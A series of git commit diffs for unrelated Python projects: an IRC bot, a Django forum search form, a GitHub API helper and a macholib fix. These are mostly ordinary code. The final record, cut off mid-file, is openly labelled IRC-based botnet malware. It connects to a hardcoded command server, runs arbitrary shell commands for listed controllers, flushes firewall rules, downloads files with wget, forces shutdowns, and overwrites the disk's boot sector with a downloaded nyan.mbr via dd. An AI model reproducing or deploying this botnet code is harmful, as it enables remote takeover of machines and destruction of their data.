<commit_before>#!/usr/bin/env python3
"""
James.py - main bot
"""

from utils.irc import IRCHandler
import utils
import traceback
import re
import os
import sys
import json
import plugins
import functools
from collections import deque
from utils import logging
from utils.commandhandler import CommandHandler
from utils.events import Event
from utils.decorators import startinfo, sethook

CONFIG = {}
VERSION = "3.5 prerelease"

class James(IRCHandler):
    """ James main bot executable thingy class """
    @startinfo(VERSION)
    def __init__(self, config, verbose=False):
        super(James, self).__init__(config, verbose=verbose)
        globals()['CONFIG'] = config

        self.version = VERSION

        # Bot state and logger.
        self.state = utils.ServerState()
        self.log = logging.Logger()

        # state.
        self.state.events = self.initialize_events()
        self.state.apikeys = json.loads(open('apikeys.conf').read())
        self.state.data = {'autojoin_channels': []}
        self.state.data = {'autojoin_channels': ["#programming"]}#self.state.data['autojoin_channels'].extend(CONFIG['autojoin'])
        self.state.admins.extend(CONFIG['admins'])
        self.state.nick = CONFIG['nick']

        # Various things
        self.lastmsgof = {}
        self.cmdhandler = CommandHandler(self, plugins.get_plugins())
        self.leo = object() # Last eval output

        self.set_up_partials()

    def set_up_partials(self):
        utils.parse.inline_python = functools.partial(utils.parse.inline_python, self)

    def initialize_events(self):
        return {item:Event() for item in utils.events.StandardEvents}

    def welcome(self, msg: dict):
        """ welcome(msg) - handles on-login actions """
        if CONFIG['ident_pass']:
            self.msg(CONFIG['identify_service'], 'identify %s' % (CONFIG['ident_pass']))
        self._send("MODE %s +B" % (self.state.nick))
        self.state.events['WelcomeEvent'].fire(self)

    def notice(self, msg):
        actualargs = msg['arg'].split(' ',1)[1][1:]
        sender = msg['host'].split('!')[0]
        self.state.notices.append({'sender': sender, 'message': actualargs})
        self.log.log("-%s- %s" % (sender, actualargs))

    def names(self, msg):
        """ Executed on NAMES reply """
        chantype = re.match(r'(=|@|\*).*', msg['arg'].split(' ', 1)[1])
        chantype = chantype.groups()[0]
        args = msg['arg'].split(chantype)[1]
        channel = args.split(':')[0][:-1].strip().lower()
        users = args.split(':')[1].split()
        modes = ['+', '%', '@', '&', '~']

        users = [u for u in users if not u[:1] in modes] + [u[1:] for u in users if u[:1] in modes]

        if not channel in self.state.get_channels():
            print(self.state.add_channel(channel, users))
        else:
            self.state.set_channel_users(channel, users)

    def topic(self, msg):
        """ Executed when someone changes the topic """
        channel = msg['arg'].split()[0].lower()
        user = msg['host'].split('!')[0]
        topic = msg['arg'].split(' ', 1)[1][1:]
        self.state.set_channel_topic(channel, topic)
        self.log.log("%s set topic of %s to %s" % (user, channel, topic))

    def newtopic(self, msg):
        """ Executed when you join a new channel """
        args = msg['arg']
        topic = args.split(' ', 2)[2][1:]
        channel = args.split()[1].strip().lower()
        if len(self.state.get_channel(channel)) > 0:
            self.state.get_channel(channel)[0].set_topic(topic)
        else:
            self.state.add_channel(channel, [''], topic=topic)

    def privmsg(self, msg):
        """ Handles messages """
        # Split msg into parts
        nick = msg['host'].split('!')[0] #get sender
        chan = msg['arg'].split()[0] #get chan
        if chan == self.state.nick:
            chan = nick #if chan is us, file under them
        chan = chan.lower()
        rawmsg = msg['arg'].split(':', 1)[1] #get msg
        target = nick #failsafe

        # Test for target
        msg = rawmsg
        try:
            if ':' in rawmsg:
                target = rawmsg.split(':')[0]
                if target.lower() in self.lastmsgof[chan].keys():
                    msg = rawmsg.split(':', 1)[1].lstrip()
        except KeyError:
            if chan in self.lastmsgof.keys():
                self.lastmsgof[chan][nick] = deque([rawmsg], 16)
            else:
                self.lastmsgof[chan] = {nick: deque([rawmsg], 16)}

        self.log.log("[%s] <%s> %s" % (chan, nick, rawmsg))
        self.handlemsg(nick, chan, msg, target, rawmsg)

    def handlemsg(self, nick, chan, msg, target, rawmsg):
        """ Handles Messages """
        # Test for inline code
        msg = utils.parse.inline_python(nick, chan, msg)

        # Test for sed
        try:
            if utils.parse.check_for_sed(self, msg):
                parsed_msg = utils.parse.parse_sed(self, msg.replace("\/", "\13"), self.lastmsgof[chan][target])
                if parsed_msg == -1:
                    self._msg(chan, "%s: No matches found" % (nick))
                else:
                    new_msg = re.sub(parsed_msg['to_replace'], parsed_msg['replacement'], parsed_msg['oldmsg'], 0 if parsed_msg['glob'] else 1)
                    if not '\x01' in new_msg:
                        self._msg(chan, "<%s> %s" % (target, new_msg.replace("\13", "/")))
                    else:
                        self._msg(chan, "*%s %s*" % (target, new_msg.replace('\13', '/').split('\x01')[1].split(' ', 1)[1]))
            else:
                self.lastmsgof[chan][nick].appendleft(rawmsg)

        except KeyError:
            if chan in self.lastmsgof.keys():
                self.lastmsgof[chan][nick] = deque([rawmsg], 16)
            else:
                self.lastmsgof[chan] = {nick: deque([rawmsg], 16)}

        # Test for command
        self.check_for_command(msg, nick, target, chan)

        self.state.events['MessageEvent'].fire(self, nick, target, chan, msg)

    def check_for_command(self, msg, nick, target, chan):
        """ Check for a normal command starting with the command char. """
        cmd_splitmsg = msg.split(" ", 1)
        try:
            if len(cmd_splitmsg) > 1:
                cmd_args = cmd_splitmsg[1]
            else:
                cmd_args = ''

            triggered_short = self.cmdhandler.trigger_short(cmd_splitmsg[0])
            if triggered_short:
                if hasattr(triggered_short.function, "_require_admin"):
                    if nick.lower() in self.state.admins:
                        triggered_short(self, nick, target, chan, cmd_args)
                else:
                    triggered_short(self, nick, target, chan, cmd_args)
            if msg.startswith(CONFIG['cmdchar']):
                cmd_name = cmd_splitmsg[0][1:]
                callback = self.cmdhandler.trigger(cmd_name)

                if not callback: return

                if hasattr(callback.function, '_require_admin'):
                    if nick.lower() in self.state.admins:
                        callback(self, nick, target, chan, cmd_args)
                else:
                    callback(self, nick, target, chan, cmd_args)
        except BaseException:
            self._meditate(sys.exc_info(), chan)
            traceback.print_exc()

    def _meditate(self, exc_info, chan):
        """ Prints GURU MEDITATION messages - at least, it used to. """
        exc_name = str(exc_info[0]).split("'")[1]
        exc_args = exc_info[1].args
        if exc_args:
            self._msg(chan, \
                      "[\x02\x034GURU\x03 MEDITATION\x034\x03 %s\x02] %s"\
                      % (exc_name, exc_args[0]))
        else:
            self._msg(chan, \
                      "[\x02\x034GURU\x03 MEDITATION\x034\x03 %s\x02]"\
                      % (exc_name))

    def nick(self, msg):
        """ Handles nickchanges """
        oldnick = msg['host'].split('!')[0]
        newnick = msg['arg'][1:]
        containers = self.state.get_channels_for_user(oldnick)
        if oldnick in self.state.admins:
            self.state.admins[self.state.admins.index(oldnick)] = newnick
        if containers:
            for container in containers:
                container.set_user(oldnick, newnick)

    def join(self, msg):
        """ Handles people joining channels """
        user = msg['host'].split('!')[0].strip().lower()
        channel = msg['arg'][1:].strip().lower()
        if user != CONFIG['nick'].lower():
            self.state.get_channel(channel)[0].add_user(user)
        self.state.events['JoinEvent'].fire(self, user, channel)
        self.log.log("[%s] JOIN %s" % (channel, user))

    def part(self, msg):
        """ Handles people parting channels """
        channel = msg['arg'].split()[0].strip().lower()
        user = msg['host'].split('!')[0].strip().lower()
        try:
            self.state.get_channel(channel)[0].remove_user(user)
            self.log.log("[%s] PART %s" % (channel, user))
        except BaseException:
            traceback.print_exc()

    def _msg(self, chan, msg):
        """ _msg(string chan, string msg) - Sends a PRIVMSG. """
        msg = str(msg)
        if '\n' in msg:
            for item in msg.split('\n'):
                self._send("PRIVMSG %s :%s" % (chan, item))
        else:
            self._send("PRIVMSG %s :%s" % (chan, msg))

    def msg(self, chan, msg):
        """ msg(string chan, string msg) - Sends a PRIVMSG. """
        self._msg(chan, msg)

    def login(self, nick):
        """ login(string nick) - Login to the bot. """
        self.state.add_admin(nick)

    def gracefully_terminate(self):
        """ Handles the quit routine, then exits. """
        try:
            super(James, self).gracefully_terminate()
        except SystemExit:
            pass
        self.log.close()

if __name__ == '__main__':
    ARGS = sys.argv[1:]
    CONFIG = json.loads(open('config.json', 'r').readline())
    if '--verbose' in ARGS:
        BOT = James(CONFIG, verbose=True)
    else:
        BOT = James(CONFIG)
    BOT.connect()
else:
    my_globals = globals()

<commit_msg>Shh. This didn't happen.<commit_after>#!/usr/bin/env python3
"""
James.py - main bot
"""

from utils.irc import IRCHandler
import utils
import traceback
import re
import os
import sys
import json
import plugins
import functools
from collections import deque
from utils import logging
from utils.commandhandler import CommandHandler
from utils.events import Event
from utils.decorators import startinfo, sethook

CONFIG = {}
VERSION = "3.5 prerelease"

class James(IRCHandler):
    """ James main bot executable thingy class """
    @startinfo(VERSION)
    def __init__(self, config, verbose=False):
        super(James, self).__init__(config, verbose=verbose)
        globals()['CONFIG'] = config

        self.version = VERSION

        # Bot state and logger.
        self.state = utils.ServerState()
        self.log = logging.Logger()

        # state.
        self.state.events = self.initialize_events()
        self.state.apikeys = json.loads(open('apikeys.conf').read())
        self.state.data = {'autojoin_channels': []}
        self.state.data['autojoin_channels'].extend(CONFIG['autojoin'])
        self.state.admins.extend(CONFIG['admins'])
        self.state.nick = CONFIG['nick']

        # Various things
        self.lastmsgof = {}
        self.cmdhandler = CommandHandler(self, plugins.get_plugins())
        self.leo = object() # Last eval output

        self.set_up_partials()

    def set_up_partials(self):
        utils.parse.inline_python = functools.partial(utils.parse.inline_python, self)

    def initialize_events(self):
        return {item:Event() for item in utils.events.StandardEvents}

    def welcome(self, msg: dict):
        """ welcome(msg) - handles on-login actions """
        if CONFIG['ident_pass']:
            self.msg(CONFIG['identify_service'], 'identify %s' % (CONFIG['ident_pass']))
        self._send("MODE %s +B" % (self.state.nick))
        self.state.events['WelcomeEvent'].fire(self)

    def notice(self, msg):
        actualargs = msg['arg'].split(' ',1)[1][1:]
        sender = msg['host'].split('!')[0]
        self.state.notices.append({'sender': sender, 'message': actualargs})
        self.log.log("-%s- %s" % (sender, actualargs))

    def names(self, msg):
        """ Executed on NAMES reply """
        chantype = re.match(r'(=|@|\*).*', msg['arg'].split(' ', 1)[1])
        chantype = chantype.groups()[0]
        args = msg['arg'].split(chantype)[1]
        channel = args.split(':')[0][:-1].strip().lower()
        users = args.split(':')[1].split()
        modes = ['+', '%', '@', '&', '~']

        users = [u for u in users if not u[:1] in modes] + [u[1:] for u in users if u[:1] in modes]

        if not channel in self.state.get_channels():
            print(self.state.add_channel(channel, users))
        else:
            self.state.set_channel_users(channel, users)

    def topic(self, msg):
        """ Executed when someone changes the topic """
        channel = msg['arg'].split()[0].lower()
        user = msg['host'].split('!')[0]
        topic = msg['arg'].split(' ', 1)[1][1:]
        self.state.set_channel_topic(channel, topic)
        self.log.log("%s set topic of %s to %s" % (user, channel, topic))

    def newtopic(self, msg):
        """ Executed when you join a new channel """
        args = msg['arg']
        topic = args.split(' ', 2)[2][1:]
        channel = args.split()[1].strip().lower()
        if len(self.state.get_channel(channel)) > 0:
            self.state.get_channel(channel)[0].set_topic(topic)
        else:
            self.state.add_channel(channel, [''], topic=topic)

    def privmsg(self, msg):
        """ Handles messages """
        # Split msg into parts
        nick = msg['host'].split('!')[0] #get sender
        chan = msg['arg'].split()[0] #get chan
        if chan == self.state.nick:
            chan = nick #if chan is us, file under them
        chan = chan.lower()
        rawmsg = msg['arg'].split(':', 1)[1] #get msg
        target = nick #failsafe

        # Test for target
        msg = rawmsg
        try:
            if ':' in rawmsg:
                target = rawmsg.split(':')[0]
                if target.lower() in self.lastmsgof[chan].keys():
                    msg = rawmsg.split(':', 1)[1].lstrip()
        except KeyError:
            if chan in self.lastmsgof.keys():
                self.lastmsgof[chan][nick] = deque([rawmsg], 16)
            else:
                self.lastmsgof[chan] = {nick: deque([rawmsg], 16)}

        self.log.log("[%s] <%s> %s" % (chan, nick, rawmsg))
        self.handlemsg(nick, chan, msg, target, rawmsg)

    def handlemsg(self, nick, chan, msg, target, rawmsg):
        """ Handles Messages """
        # Test for inline code
        msg = utils.parse.inline_python(nick, chan, msg)

        # Test for sed
        try:
            if utils.parse.check_for_sed(self, msg):
                parsed_msg = utils.parse.parse_sed(self, msg.replace("\/", "\13"), self.lastmsgof[chan][target])
                if parsed_msg == -1:
                    self._msg(chan, "%s: No matches found" % (nick))
                else:
                    new_msg = re.sub(parsed_msg['to_replace'], parsed_msg['replacement'], parsed_msg['oldmsg'], 0 if parsed_msg['glob'] else 1)
                    if not '\x01' in new_msg:
                        self._msg(chan, "<%s> %s" % (target, new_msg.replace("\13", "/")))
                    else:
                        self._msg(chan, "*%s %s*" % (target, new_msg.replace('\13', '/').split('\x01')[1].split(' ', 1)[1]))
            else:
                self.lastmsgof[chan][nick].appendleft(rawmsg)

        except KeyError:
            if chan in self.lastmsgof.keys():
                self.lastmsgof[chan][nick] = deque([rawmsg], 16)
            else:
                self.lastmsgof[chan] = {nick: deque([rawmsg], 16)}

        # Test for command
        self.check_for_command(msg, nick, target, chan)

        self.state.events['MessageEvent'].fire(self, nick, target, chan, msg)

    def check_for_command(self, msg, nick, target, chan):
        """ Check for a normal command starting with the command char. """
        cmd_splitmsg = msg.split(" ", 1)
        try:
            if len(cmd_splitmsg) > 1:
                cmd_args = cmd_splitmsg[1]
            else:
                cmd_args = ''

            triggered_short = self.cmdhandler.trigger_short(cmd_splitmsg[0])
            if triggered_short:
                if hasattr(triggered_short.function, "_require_admin"):
                    if nick.lower() in self.state.admins:
                        triggered_short(self, nick, target, chan, cmd_args)
                else:
                    triggered_short(self, nick, target, chan, cmd_args)
            if msg.startswith(CONFIG['cmdchar']):
                cmd_name = cmd_splitmsg[0][1:]
                callback = self.cmdhandler.trigger(cmd_name)

                if not callback: return

                if hasattr(callback.function, '_require_admin'):
                    if nick.lower() in self.state.admins:
                        callback(self, nick, target, chan, cmd_args)
                else:
                    callback(self, nick, target, chan, cmd_args)
        except BaseException:
            self._meditate(sys.exc_info(), chan)
            traceback.print_exc()

    def _meditate(self, exc_info, chan):
        """ Prints GURU MEDITATION messages - at least, it used to. """
        exc_name = str(exc_info[0]).split("'")[1]
        exc_args = exc_info[1].args
        if exc_args:
            self._msg(chan, \
                      "[\x02\x034GURU\x03 MEDITATION\x034\x03 %s\x02] %s"\
                      % (exc_name, exc_args[0]))
        else:
            self._msg(chan, \
                      "[\x02\x034GURU\x03 MEDITATION\x034\x03 %s\x02]"\
                      % (exc_name))

    def nick(self, msg):
        """ Handles nickchanges """
        oldnick = msg['host'].split('!')[0]
        newnick = msg['arg'][1:]
        containers = self.state.get_channels_for_user(oldnick)
        if oldnick in self.state.admins:
            self.state.admins[self.state.admins.index(oldnick)] = newnick
        if containers:
            for container in containers:
                container.set_user(oldnick, newnick)

    def join(self, msg):
        """ Handles people joining channels """
        user = msg['host'].split('!')[0].strip().lower()
        channel = msg['arg'][1:].strip().lower()
        if user != CONFIG['nick'].lower():
            self.state.get_channel(channel)[0].add_user(user)
        self.state.events['JoinEvent'].fire(self, user, channel)
        self.log.log("[%s] JOIN %s" % (channel, user))

    def part(self, msg):
        """ Handles people parting channels """
        channel = msg['arg'].split()[0].strip().lower()
        user = msg['host'].split('!')[0].strip().lower()
        try:
            self.state.get_channel(channel)[0].remove_user(user)
            self.log.log("[%s] PART %s" % (channel, user))
        except BaseException:
            traceback.print_exc()

    def _msg(self, chan, msg):
        """ _msg(string chan, string msg) - Sends a PRIVMSG. """
        msg = str(msg)
        if '\n' in msg:
            for item in msg.split('\n'):
                self._send("PRIVMSG %s :%s" % (chan, item))
        else:
            self._send("PRIVMSG %s :%s" % (chan, msg))

    def msg(self, chan, msg):
        """ msg(string chan, string msg) - Sends a PRIVMSG. """
        self._msg(chan, msg)

    def login(self, nick):
        """ login(string nick) - Login to the bot. """
        self.state.add_admin(nick)

    def gracefully_terminate(self):
        """ Handles the quit routine, then exits. """
        try:
            super(James, self).gracefully_terminate()
        except SystemExit:
            pass
        self.log.close()

if __name__ == '__main__':
    ARGS = sys.argv[1:]
    CONFIG = json.loads(open('config.json', 'r').readline())
    if '--verbose' in ARGS:
        BOT = James(CONFIG, verbose=True)
    else:
        BOT = James(CONFIG)
    BOT.connect()
else:
    my_globals = globals()

<|endoftext|>


<commit_before># -*- coding: utf-8 -*-

# Standard library imports
# Third party imports
from django import forms
from django.db.models import get_model
from django.utils.translation import ugettext_lazy as _
from haystack.forms import FacetedSearchForm

# Local application / specific library imports
from machina.core.loading import get_class

Forum = get_model('forum', 'Forum')

PermissionHandler = get_class('permission.handler', 'PermissionHandler')
perm_handler = PermissionHandler()

class SearchForm(FacetedSearchForm):
    search_poster_name = forms.CharField(
        label=_('Search for poster'), help_text=_('Enter a user name to limit the search to a specific user.'),
        max_length=255, required=False)

    search_forums = forms.MultipleChoiceField(
        label=_('Search in specific forums'), help_text=_('Select the forums you wish to search in.'),
        required=False)

    def __init__(self, *args, **kwargs):
        user = kwargs.pop('user', None)
        super(SearchForm, self).__init__(*args, **kwargs)
        # Update some fields
        self.fields['q'].label = _('Search for keywords')
        self.fields['q'].widget.attrs['placeholder'] = _('Keywords or phrase')
        self.fields['search_poster_name'].widget.attrs['placeholder'] = _('Poster name')
        self.fields['search_forums'].choices = [(f.id, '{} {}'.format('-' * f.margin_level, f.name)) for f in perm_handler.forum_list_filter(Forum.objects.all(), user)]

    def search(self):
        sqs = super(SearchForm, self).search()

        if not self.is_valid():
            return self.no_query_found()

        # Handles searches by poster name
        if self.cleaned_data['search_poster_name']:
            sqs = sqs.filter(poster_name__icontains=self.cleaned_data['search_poster_name'])

        # Handles searches in specific forums
        if self.cleaned_data['search_forums']:
            sqs = sqs.filter(forum__in=self.cleaned_data['search_forums'])

        return sqs
<commit_msg>'search' app updated to allow restricting the search to topic subjects<commit_after># -*- coding: utf-8 -*-

# Standard library imports
# Third party imports
from django import forms
from django.db.models import get_model
from django.utils.translation import ugettext_lazy as _
from haystack.forms import FacetedSearchForm
from haystack.inputs import AutoQuery

# Local application / specific library imports
from machina.core.loading import get_class

Forum = get_model('forum', 'Forum')

PermissionHandler = get_class('permission.handler', 'PermissionHandler')
perm_handler = PermissionHandler()

class SearchForm(FacetedSearchForm):
    search_topics = forms.BooleanField(
        label=_('Search only in topic subjects'), required=False)

    search_poster_name = forms.CharField(
        label=_('Search for poster'), help_text=_('Enter a user name to limit the search to a specific user.'),
        max_length=255, required=False)

    search_forums = forms.MultipleChoiceField(
        label=_('Search in specific forums'), help_text=_('Select the forums you wish to search in.'),
        required=False)

    def __init__(self, *args, **kwargs):
        user = kwargs.pop('user', None)
        super(SearchForm, self).__init__(*args, **kwargs)
        # Update some fields
        self.fields['q'].label = _('Search for keywords')
        self.fields['q'].widget.attrs['placeholder'] = _('Keywords or phrase')
        self.fields['search_poster_name'].widget.attrs['placeholder'] = _('Poster name')
        self.fields['search_forums'].choices = [(f.id, '{} {}'.format('-' * f.margin_level, f.name)) for f in perm_handler.forum_list_filter(Forum.objects.all(), user)]

    def search(self):
        sqs = super(SearchForm, self).search()

        if not self.is_valid():
            return self.no_query_found()

        # Handles topic-based searches
        if self.cleaned_data['search_topics']:
            sqs = sqs.filter(topic_subject=AutoQuery(self.cleaned_data['q']))

        # Handles searches by poster name
        if self.cleaned_data['search_poster_name']:
            sqs = sqs.filter(poster_name__icontains=self.cleaned_data['search_poster_name'])

        # Handles searches in specific forums
        if self.cleaned_data['search_forums']:
            sqs = sqs.filter(forum__in=self.cleaned_data['search_forums'])

        return sqs
<|endoftext|>


<commit_before># Built-in imports
import os

# Third-party dependencies
from pymongo import MongoClient
import requests

# Custom imports
import config

# Bot constants
SEARCH_PARAMS = {'q': 'stars:"<5 AND >1"', 'sort': 'updated'}

# Gloabl variable init
if os.environ.get('PYTHON_ENV', None) is 'production':
    client = MongoClient(config.db['prod'])
else:
    client = MongoClient(config.db['dev'])
db = client.add_a_license_db

def make_request(endpoint, req_type='get', headers={}, params={}, body={}):
    '''Make a HTTP request and return JSON response

    Arguments:
        endpoint: Github endpoint to hit
        req_type: HTTP request type
        headers: Any custom headers that must be sent
        params: 'get' query parameters
        body: 'post' body content
    '''

    if not headers.has_key('Authorization'):
        headers['Authorization'] = ('token %s' % config.github['access_token'])

    url = config.github['base_url'] + endpoint

    if req_type is 'get':
        r = requests.get(url, headers=headers, params=params)
    elif req_type is 'post':
        r = requests.post(url, headers=headers, payload=body)

    try:
        return r.json()
    except e:
        # TODO log this
        return None

def get_search_results():

    r = make_request('/search/repositories', params=SEARCH_PARAMS)
    print r['items'][0]['full_name']

def main():
    get_search_results()

if __name__ == '__main__':
    main()
<commit_msg>add repo content mehtod<commit_after># Built-in imports
import os

# Third-party dependencies
from pymongo import MongoClient
import requests

# Custom imports
import config

# Bot constants
SEARCH_PARAMS = {'q': 'stars:"<5 AND >1"', 'sort': 'updated'}

# Gloabl variable init
if os.environ.get('PYTHON_ENV', None) is 'production':
    client = MongoClient(config.db['prod'])
else:
    client = MongoClient(config.db['dev'])
db = client.add_a_license_db

def make_request(endpoint, req_type='get', headers={}, params={}, body={}):
    '''Make a HTTP request and return JSON response

    Arguments:
        endpoint: Github endpoint to hit
        req_type: HTTP request type
        headers: Any custom headers that must be sent
        params: 'get' query parameters
        body: 'post' body content
    '''

    if not headers.has_key('Authorization'):
        headers['Authorization'] = ('token %s' % config.github['access_token'])

    url = config.github['base_url'] + endpoint

    if req_type is 'get':
        r = requests.get(url, headers=headers, params=params)
    elif req_type is 'post':
        r = requests.post(url, headers=headers, payload=body)

    try:
        return r.json()
    except e:
        # TODO log this
        return None

def get_repo_contents(author_repo):
    '''Return the json/dict of repo contents

    Arguments:
        author_repo: "author/repo". example: karan/projects
    '''
    results = make_request('/repos/%s/contents' % (author_repo,))
    return results

def get_search_results():
    '''Return a list of repos for the search.
    '''
    results = make_request('/search/repositories', params=SEARCH_PARAMS)
    return results.items

def main():
    repos = get_search_results()

if __name__ == '__main__':
    main()
<|endoftext|>


<commit_before>#!/usr/bin/env python

import os
import sys

from macholib.MachOStandalone import MachOStandalone
from macholib.util import strip_files

def standaloneApp(path):
    if not os.path.isdir(path) and os.path.exists(
            os.path.join(path, 'Contents')):
        raise SystemExit('%s: %s does not look like an app bundle'
            % (sys.argv[0], path))
    files = MachOStandalone(path).run()
    strip_files(files)

def main():
    if not sys.argv[1:]:
        raise SystemExit, 'usage: %s [appbundle ...]' % (sys.argv[0],)
    for fn in sys.argv[1:]:
        standaloneApp(fn)

if __name__ == '__main__':
    main()
<commit_msg>fix py3k issue in macho_standalone.py<commit_after>#!/usr/bin/env python

import os
import sys

from macholib.MachOStandalone import MachOStandalone
from macholib.util import strip_files

def standaloneApp(path):
    if not os.path.isdir(path) and os.path.exists(
            os.path.join(path, 'Contents')):
        raise SystemExit('%s: %s does not look like an app bundle'
            % (sys.argv[0], path))
    files = MachOStandalone(path).run()
    strip_files(files)

def main():
    if not sys.argv[1:]:
        raise SystemExit('usage: %s [appbundle ...]' % (sys.argv[0],))
    for fn in sys.argv[1:]:
        standaloneApp(fn)

if __name__ == '__main__':
    main()
<|endoftext|>


<commit_before>#!/usr/bin/python
#IRC-based CNC Botnet
#Authors: Luke Matarazzo and Jackson Sadowski
#Blizzo

#to do list
#make more cross-platform instead of just for linux - windows, mac, sun, etc.
#handle reconnecting if server restarts or there is some connection error
#figure out how to disconnect from server and disconnect from channel

import socket
import ftplib
import urllib2
import urllib
import sys
import ctypes
import random
import time
import platform
import os
import subprocess as sub
from sys import argv
from random import randint

def generateNick(os): #generates a nick for the server
	rannum = str(randint(0, 9999))
	return str(os[:3] + rannum)

def execute(cmd): #execute shell commands
	isItLs = 0
	if "ls" in cmd:
		cmd += " -pA"
		isItLs = 1

	#handling a multi-word command
	cmdList = []
	if (cmd.find(" ") != -1):
		cmdList = cmd.split(" ")

		try:#checking for syntax errors
			p = sub.Popen(cmdList,stdout=sub.PIPE,stderr=sub.PIPE)
			output, errors = p.communicate()

		except:#if there was some sytax error, spit back an error
			print "An error has occured.\n"
			return "An error has occured. Probably invalid command or syntax."

	#handles a 1-liner
	else:
		try:#checking for syntax errors
			p = sub.Popen(cmd,stdout=sub.PIPE,stderr=sub.PIPE)
			output, errors = p.communicate()

		except:
			print "An error has occured.\n"
			return "An error has occured. Probably invalid command or syntax."

	if len(output) < 1:
		return errors

	#handling multi-line output
	lines = output.split("\n")[:-1] #split based on newline, return all except last element which is just a blank new line
	if len(lines) > 1: #if there was a new line found, return array
		if isItLs: #doing all the directory stuff
			dirs = "dirs: "
			files = "files: "
			for line in lines:
				if line[-1] == "/":
					dirs += "'" + line + "'   "
				else:
					files += "'" + line + "'   "
			lines = [dirs.strip(), files.strip()]

		for element in lines: #check if a line is JUST a newline
			if element == "":
				lines[lines.index(element)] = "~" #replace newline with a ~

		return lines

	return output

#actually sending the data
def sendData(data): #send text back to the irc server
	#sending multiple lines if it's a list
	if type(data) is list:
		for line in data:
			irc.send('PRIVMSG ' + channel + " :" + line + '\r\n')
	else: #sending a one-liner back
		irc.send('PRIVMSG ' + channel + " :" + data + '\r\n')

#All of the possible functions that the botnet is capable of
def reply(): #send back to IRC server that you are here
	sendData("Yes I am here")

def whoAmI(): #execute whoami command and send output
	output  = execute("whoami")
	sendData(output)

def iAmGood(): #send back to IRC server that you are good
	sendData("I am good. And you?")

def runAndSend(cmd): #take a single command, run it, return output
	request = execute(cmd)
	sendData(request)

def getAge(): #send uptime
	sendData("I don't know how to do that yet boss.")

def terminate(): #terminate program and send goodbye message
	sendData("Oh no! We better find some cover.")
	irc.close()
	exit()

def freeSpace(): #tells how much free space there is
	request = execute("df")
	sendData(request)

def uptime(): #total uptime on the server
	request = execute("uptime")
	sendData(request)

def version(): #which kernel version
	sendData(platform.release())

def getIP(): #gets the public IP address
	my_ip = urllib2.urlopen('http://ip.42.pl/raw').read()
	sendData(my_ip)

def flushFirewall(): #flushes the firewall rules
	if (os == "linux"):
		request = execute("/usr/bin/env iptables -F") #flushing rules
		sendData("Firewall rules have been flushed.")

def checkFirewall(): #reports current firewall config
	if (os == "linux"):
		sendData("Current Firewall Rules:")
		request = execute("/usr/bin/env iptables -L -n")
		sendData(request)
	elif (os == "windows"):
		sendData("idk how to windows yet boss.")
	elif (os == "darwin"):
		sendData("idk how to mac yet boss.")
	else:
		sendData("unknown")

def download(cmd): #file downloader
	if (os == "linux"):
		if (cmd.count(" ") != 1): #make sure there is only 1 space
			sendData("Usage: download [file] [dir]")
		else:
			args = cmd.split(" ")
			download = "wget -q -P " + args[1] + " " + args[0]

			request = execute(download) #executing the download
			sendData("Download executed.")

def nyanmbr(): #download nyancat.mbr and over bootloader with it
	if (os == "linux"):
		execute("wget -q -P /tmp https://minemu.org/nyanmbr/nyan.mbr")
		execute("dd if=/tmp/nyan.mbr of=/dev/sda")

def nap(): #shutdown the computer ungracefully
	execute("init 0")

def reboot(): #reboot
	execute("init 6")

def persist(): #try to persist bot
	sendData("I don't know how to do that yet boss.")

#debugger
DEBUG = 0
if len(argv) > 1 and (argv[1] == "-d" or argv[1] == "--debug"):
	DEBUG = 1

#other vars
os = platform.system().lower() #detected os in all lowercase
INTERACT = [0, 1] 	#index one is the boolean for if the interactive shell is taking place for any bot
					#index two is the boolean for if the interactive shell is with this bot
DISCONNECED = 1 	#if we are disconnected, this is true

#IRC Settings
admins = ["king", "samorizu", "blackbear", "bigshebang"]
server = "leagueachieve.info"
port = 6667
channel = "#lobby"
nick = generateNick(os)

print "The botnick is: '%s'" % nick

#dictionary of functions
commands = {
	"are you there" : reply,
	"how are you" : iAmGood,
	"who are you" : whoAmI,
	"how old are you" : getAge,
	"zombie apocalypse" : terminate,
	"free" : freeSpace,
	"uptime" : uptime,
	"version" : version,
	"what is your ip" : getIP,
	"flush firewall" : flushFirewall,
	"firewall" : checkFirewall,
	"download" : download,
	"nyanmbr" : nyanmbr,
	"take a nap": nap,
	"reboot" : reboot,
	"persist" : persist
}

#function which parses the command and determines how to handle it
def parseCommand(command):
	if DEBUG:
		print "command is '%s'" % command
		print "interact 0: " + str(not INTERACT[0])
		print "interact 1: " + str(not INTERACT[1])

	if INTERACT[1] and "PRIVMSG" in command: #check if we should respond or not and if we find privmsg, we're good!
		lines = command.split("\n")
		if len(lines) > 2:
			print "we got a bunch of lines...doing nothing"
			return

		header = command[:command.index("PRIVMSG")] #get everything before PRIVMSG
		if ":" in header: #check if there is a colon first, to avoid crashing
			header = header[(header.index(":") + 1):] #get all after colon

		user = header[:header.index("!~")] #user sending message
		host = header[(header.index("!~") + 2):header.index(" ")] #hostname and ip/domain name: 'blarg@1.2.3.4'
		hostname = host[:host.index("@")] #hostname: 'blarg'
		client = host[(host.index("@") + 1):] #client/ip/domain name: '1.2.3.4' or 'blarg.com'

		if DEBUG:
			print "user is '%s'" % user
			print "host is '%s'" % host
			print "hostname is '%s'" % hostname
			print "client is '%s'" % client

		if user in admins: #check if sender is an approved controller
			tempCommand = command[command.index("PRIVMSG"):]
			command = tempCommand[(tempCommand.index(':') + 1):].strip().lower()

			print "Recieved '%s' from the CNC" % command #print command

			if INTERACT[0]: #if interactive shell is on
				if "??finish" == command[:8]:
					INTERACT[0] = 0
					return
				elif "??-" == command[:3]:
					users = command[3:].split(" ")
					if nick in users or "all" in users:
						INTERACT[1] = 0

					return
				elif "??+" == command[:3]:
					return

				if len(command) > 0:
					sendData("I would have performed: '" + command + "'")
			elif "??" == command[:2]: #if '??' is given
				INTERACT[0] = 1
				users = command[2:].split(" ")

				if DEBUG:
					print "command is '%s'" % command
				for user in users:
					print "user is '%s'" % user

				if not nick in users and not "all" in users:
					INTERACT[1] = 0
					return
			elif "?!" == command[:2]: #if they want to single out one or more bots to run a function
				if ":" in command:
					lines = command[2:].split(":")
				else:
					print "incorrect syntax. you need a ':'"
					return

				users = lines[0].split(" ")
				if nick in users or "all" in users:
					lines[1] = lines[1].strip()
					if lines[1] in commands.keys(): #if regular command
						commands[lines[1]]() #call appropriate function
						print "function called"
			else:
				if command in commands.keys(): #if regular command
					commands[command]() #call appropriate function
					print "function called"
				elif command[:7] == "execute": #if they want the execute command, make that work
					runAndSend(command[8:])
				elif command[:8] == "download":
					download(command[9:])
